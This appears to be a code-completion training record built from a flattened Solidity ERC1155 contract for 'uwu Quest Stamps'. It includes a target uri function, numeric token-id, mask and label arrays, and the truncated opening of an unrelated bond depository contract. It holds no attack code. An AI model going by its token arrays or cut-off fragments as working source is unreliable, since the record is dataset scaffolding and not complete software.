-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Sources flattened with hardhat v2.7.0 https://hardhat.org
// File contracts/UwuQuestStampsUpgradeable.sol
// Sources flattened with hardhat v2.8.2 https://hardhat.org
// File contracts/utils/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
abstract contract ERC1155 {
/*//////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event TransferSingle(
address indexed operator,
address indexed from,
address indexed to,
uint256 id,
uint256 amount
);
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] amounts
);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
event URI(string value, uint256 indexed id);
/*//////////////////////////////////////////////////////////////
ERC1155 STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => mapping(uint256 => uint256)) private _balanceOf;
mapping(address => mapping(address => bool)) private _isApprovedForAll;
/*//////////////////////////////////////////////////////////////
METADATA LOGIC
//////////////////////////////////////////////////////////////*/
function uri(uint256 id) public view virtual returns (string memory);
/*//////////////////////////////////////////////////////////////
ERC1155 LOGIC
//////////////////////////////////////////////////////////////*/
function setApprovalForAll(address operator, bool approved) public virtual {
_isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual {
require(msg.sender == from || _isApprovedForAll[from][msg.sender], "NOT_AUTHORIZED");
_balanceOf[from][id] -= amount;
_balanceOf[to][id] += amount;
emit TransferSingle(msg.sender, from, to, id, amount);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155Received(msg.sender, from, id, amount, data) ==
ERC1155TokenReceiver.onERC1155Received.selector,
"UNSAFE_RECIPIENT"
);
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes memory data
) public virtual {
require(ids.length == amounts.length, "LENGTH_MISMATCH");
require(msg.sender == from || _isApprovedForAll[from][msg.sender], "NOT_AUTHORIZED");
// Storing these outside the loop saves ~15 gas per iteration.
uint256 id;
uint256 amount;
for (uint256 i = 0; i < ids.length; ) {
id = ids[i];
amount = amounts[i];
_balanceOf[from][id] -= amount;
_balanceOf[to][id] += amount;
// An array can't have a total length
// larger than the max uint256 value.
unchecked {
++i;
}
}
emit TransferBatch(msg.sender, from, to, ids, amounts);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155BatchReceived(msg.sender, from, ids, amounts, data) ==
ERC1155TokenReceiver.onERC1155BatchReceived.selector,
"UNSAFE_RECIPIENT"
);
}
function balanceOf(address owner, uint256 tokenId) public view returns (uint256) {
return _balanceOf[owner][tokenId];
}
function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)
public
view
virtual
returns (uint256[] memory balances)
{
require(owners.length == ids.length, "LENGTH_MISMATCH");
balances = new uint256[](owners.length);
// Unchecked because the only math done is incrementing
// the array index counter which cannot possibly overflow.
unchecked {
for (uint256 i = 0; i < owners.length; ++i) {
balances[i] = _balanceOf[owners[i]][ids[i]];
}
}
}
/*//////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) {
return
interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165
interfaceId == 0xd9b67a26 || // ERC165 Interface ID for ERC1155
interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI
}
/*//////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
_balanceOf[to][id] += amount;
emit TransferSingle(msg.sender, address(0), to, id, amount);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155Received(msg.sender, address(0), id, amount, data) ==
ERC1155TokenReceiver.onERC1155Received.selector,
"UNSAFE_RECIPIENT"
);
}
function _batchMint(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
uint256 idsLength = ids.length; // Saves MLOADs.
require(idsLength == amounts.length, "LENGTH_MISMATCH");
for (uint256 i = 0; i < idsLength; ) {
_balanceOf[to][ids[i]] += amounts[i];
// An array can't have a total length
// larger than the max uint256 value.
unchecked {
++i;
}
}
emit TransferBatch(msg.sender, address(0), to, ids, amounts);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155BatchReceived(msg.sender, address(0), ids, amounts, data) ==
ERC1155TokenReceiver.onERC1155BatchReceived.selector,
"UNSAFE_RECIPIENT"
);
}
function _batchBurn(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
uint256 idsLength = ids.length; // Saves MLOADs.
require(idsLength == amounts.length, "LENGTH_MISMATCH");
for (uint256 i = 0; i < idsLength; ) {
_balanceOf[from][ids[i]] -= amounts[i];
// An array can't have a total length
// larger than the max uint256 value.
unchecked {
++i;
}
}
emit TransferBatch(msg.sender, from, address(0), ids, amounts);
}
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
_balanceOf[from][id] -= amount;
emit TransferSingle(msg.sender, from, address(0), id, amount);
}
}
/// @notice A generic interface for a contract which properly accepts ERC1155 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC1155.sol)
abstract contract ERC1155TokenReceiver {
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external virtual returns (bytes4) {
return ERC1155TokenReceiver.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external virtual returns (bytes4) {
return ERC1155TokenReceiver.onERC1155BatchReceived.selector;
}
}
abstract contract ERC1155URIStorage is ERC1155 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) internal _tokenURIs;
// Optional base URI
string internal _baseURI;
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the concatenation of the `_baseURI`
* and the token-specific uri if the latter is set
*
* This enables the following behaviors:
*
* - if `_tokenURIs[tokenId]` is set, then the result is the concatenation
* of `_baseURI` and `_tokenURIs[tokenId]` (keep in mind that `_baseURI`
* is empty per default);
*
* - if `_tokenURIs[tokenId]` is NOT set then we fallback to `super.uri()`
* which in most cases will contain `ERC1155._uri`;
*
* - if `_tokenURIs[tokenId]` is NOT set, and if the parents do not have a
* uri value set, then the result is empty.
*/
function uri(uint256 tokenId) public view virtual override returns (string memory) {
require(exists(tokenId), "Doesn't exist");
string memory tokenURI = _tokenURIs[tokenId];
// If token URI is set, concatenate base URI and tokenURI (via abi.encodePacked).
return bytes(tokenURI).length > 0 ? string(abi.encodePacked(_baseURI, tokenURI)) : tokenURI;
}
function _setBaseURI(string memory baseURI) internal virtual {
_baseURI = baseURI;
}
/**
* @dev Sets `tokenURI` as the tokenURI of `tokenId`.
*/
function _setURI(uint256 tokenId, string memory tokenURI) internal virtual {
_tokenURIs[tokenId] = tokenURI;
emit URI(uri(tokenId), tokenId);
}
function exists(uint256 tokenId) public view returns (bool) {
return bytes(_tokenURIs[tokenId]).length != 0;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
* @custom:oz-retyped-from bool
*/
uint8 private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Triggered when the contract has been initialized or reinitialized.
*/
event Initialized(uint8 version);
/**
* @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,
* `onlyInitializing` functions can be used to initialize parent contracts. Equivalent to `reinitializer(1)`.
*/
modifier initializer() {
bool isTopLevelCall = _setInitializedVersion(1);
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
/**
* @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the
* contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be
* used to initialize parent contracts.
*
* `initializer` is equivalent to `reinitializer(1)`, so a reinitializer may be used after the original
* initialization step. This is essential to configure modules that are added through upgrades and that require
* initialization.
*
* Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in
* a contract, executing them in the right order is up to the developer or operator.
*/
modifier reinitializer(uint8 version) {
bool isTopLevelCall = _setInitializedVersion(version);
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(version);
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} and {reinitializer} modifiers, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
/**
* @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.
* Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized
* to any version. It is recommended to use this to lock implementation contracts that are designed to be called
* through proxies.
*/
function _disableInitializers() internal virtual {
_setInitializedVersion(type(uint8).max);
}
function _setInitializedVersion(uint8 version) private returns (bool) {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, and for the lowest level
// of initializers, because in other contexts the contract may have been reentered.
if (_initializing) {
require(
version == 1 && !AddressUpgradeable.isContract(address(this)),
"Initializable: contract is already initialized"
);
return false;
} else {
require(_initialized < version, "Initializable: contract is already initialized");
_initialized = version;
return true;
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal onlyInitializing {
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal onlyInitializing {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
contract UwuQuestStampsUpgradeable is ERC1155URIStorage, OwnableUpgradeable {
using Strings for string;
string public constant name = "uwu Quest Stamps";
string public constant symbol = "UWUQS";
function __UwuQuestStampsUpgradeable_init(string memory _baseURI) external initializer {
__Ownable_init();
_setBaseURI(_baseURI);
}
function setTokenURI(uint256 tokenId, string memory _tokenURI) external onlyOwner {
_setURI(tokenId, _tokenURI);
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
_setBaseURI(newBaseURI);
}
function baseURI() external view returns (string memory) {
return _baseURI;
}
function initializeStamp(address who, uint256 tokenId, uint256 amount, string memory _tokenURI) public onlyOwner {
require(!exists(tokenId), "uwu quest: Stamp already exists");
_setURI(tokenId, _tokenURI);
_mint(who, tokenId, amount, "");
}
function mint(address to, uint256 id, uint256 amount) public onlyOwner {
require(exists(id), "Not initialized");
_mint(to, id, amount, "");
}
function mintMany(address[] memory receivers, uint256[] memory ids, uint256[] memory amounts) public onlyOwner {
require(receivers.length == ids.length, "Wrong length 1");
require(ids.length == amounts.length, "Wrong length 2");
for (uint256 i; i < receivers.length; i++) {
require(bytes(_tokenURIs[ids[i]]).length != 0, "Not initialized");
_mint(receivers[i], ids[i], amounts[i], bytes(""));
}
}
// Mints up to a given balance,
function mintManyUpTo(address[] memory receivers, uint256[] memory ids, uint256[] memory amounts) public onlyOwner {
require(receivers.length == ids.length, "Wrong length 1");
require(ids.length == amounts.length, "Wrong length 2");
for (uint256 i; i < receivers.length; i++) {
require(bytes(_tokenURIs[ids[i]]).length != 0, "Not initialized");
uint256 currentBalance = balanceOf(receivers[i], ids[i]);
if (currentBalance < amounts[i]) {
uint256 balanceToMint = amounts[i] - currentBalance;
_mint(receivers[i], ids[i], balanceToMint, bytes(""));
}
}
}
function transferMany(address[] memory tos, uint256[] memory ids, uint256[] memory amounts) public {
require(tos.length == ids.length, "Wrong length 1");
require(ids.length == amounts.length, "Wrong length 2");
for (uint256 i; i < tos.length; i++) {
safeTransferFrom(msg.sender, tos[i], ids[i], amounts[i], bytes(""));
}
}
function adminTransferMany(address[] memory froms, address[] memory tos, uint256[] memory ids, uint256[] memory amounts) public onlyOwner {
require(froms.length == tos.length, "Wrong length 1");
require(tos.length == ids.length, "Wrong length 1");
require(ids.length == amounts.length, "Wrong length 2");
for (uint256 i; i < froms.length; i++) {
safeTransferFrom(froms[i], tos[i], ids[i], amounts[i], bytes(""));
}
}
}
|
* @dev See {IERC1155MetadataURI-uri}. This implementation returns the concatenation of the `_baseURI` and the token-specific uri if the latter is set This enables the following behaviors: - if `_tokenURIs[tokenId]` is set, then the result is the concatenation of `_baseURI` and `_tokenURIs[tokenId]` (keep in mind that `_baseURI` is empty per default); - if `_tokenURIs[tokenId]` is NOT set then we fallback to `super.uri()` which in most cases will contain `ERC1155._uri`; - if `_tokenURIs[tokenId]` is NOT set, and if the parents do not have a uri value set, then the result is empty./ If token URI is set, concatenate base URI and tokenURI (via abi.encodePacked).
|
function uri(uint256 tokenId) public view virtual override returns (string memory) {
require(exists(tokenId), "Doesn't exist");
string memory tokenURI = _tokenURIs[tokenId];
return bytes(tokenURI).length > 0 ? string(abi.encodePacked(_baseURI, tokenURI)) : tokenURI;
}
| 12,795,913 |
[
1,
9704,
288,
45,
654,
39,
2499,
2539,
2277,
3098,
17,
1650,
5496,
1220,
4471,
1135,
326,
26833,
434,
326,
1375,
67,
1969,
3098,
68,
471,
326,
1147,
17,
12524,
2003,
309,
326,
23740,
353,
444,
1220,
19808,
326,
3751,
21399,
30,
300,
309,
1375,
67,
2316,
1099,
2520,
63,
2316,
548,
65,
68,
353,
444,
16,
1508,
326,
563,
353,
326,
26833,
282,
434,
1375,
67,
1969,
3098,
68,
471,
1375,
67,
2316,
1099,
2520,
63,
2316,
548,
65,
68,
261,
10102,
316,
22838,
716,
1375,
67,
1969,
3098,
68,
282,
353,
1008,
1534,
805,
1769,
300,
309,
1375,
67,
2316,
1099,
2520,
63,
2316,
548,
65,
68,
353,
4269,
444,
1508,
732,
5922,
358,
1375,
9565,
18,
1650,
20338,
282,
1492,
316,
4486,
6088,
903,
912,
1375,
654,
39,
2499,
2539,
6315,
1650,
68,
31,
300,
309,
1375,
67,
2316,
1099,
2520,
63,
2316,
548,
65,
68,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
565,
445,
2003,
12,
11890,
5034,
1147,
548,
13,
1071,
1476,
5024,
3849,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
2583,
12,
1808,
12,
2316,
548,
3631,
315,
10154,
82,
1404,
1005,
8863,
203,
3639,
533,
3778,
1147,
3098,
273,
389,
2316,
1099,
2520,
63,
2316,
548,
15533,
203,
203,
3639,
327,
1731,
12,
2316,
3098,
2934,
2469,
405,
374,
692,
533,
12,
21457,
18,
3015,
4420,
329,
24899,
1969,
3098,
16,
1147,
3098,
3719,
294,
1147,
3098,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x9FCcA2985dc4fcfdd5d948dD6eDFE1400e5584c7/sources/contracts/actions/MetamaskClaimer.sol
|
* @dev Sets safe reference. Sender must be authorized. @param newSafe Address of the new safe to be set/
|
function setSafe(address newSafe) external auth {
_setSafe(newSafe);
}
| 9,608,967 |
[
1,
2785,
4183,
2114,
18,
15044,
1297,
506,
10799,
18,
225,
394,
9890,
5267,
434,
326,
394,
4183,
358,
506,
444,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
444,
9890,
12,
2867,
394,
9890,
13,
3903,
1357,
288,
203,
3639,
389,
542,
9890,
12,
2704,
9890,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.8.10;
import "./types/NoteKeeper.sol";
import "./libraries/SafeERC20.sol";
import "./interfaces/IERC20Metadata.sol";
import "./interfaces/IBondDepository.sol";
/// @title Floor Bond Depository V2
/// @author Zeus, Indigo
/// Review by: JeffX
contract FloorBondDepository is IBondDepository, NoteKeeper {
/* ======== DEPENDENCIES ======== */
using SafeERC20 for IERC20;
/* ======== EVENTS ======== */
event CreateMarket(
uint256 indexed id,
address indexed quoteToken,
uint256 initialPrice,
uint256 capacity,
bool capacityInQuote,
uint256 conclusion,
uint256 vestingPeriod
);
event CloseMarket(uint256 indexed id);
event Tuned(uint256 indexed id, uint64 oldControlVariable, uint64 newControlVariable);
event Bond(uint256 indexed id, uint256 amount, uint256 price, uint256 payout);
/* ======== STATE VARIABLES ======== */
// Storage
Market[] public markets; // persistent market data
Terms[] public terms; // deposit construction data
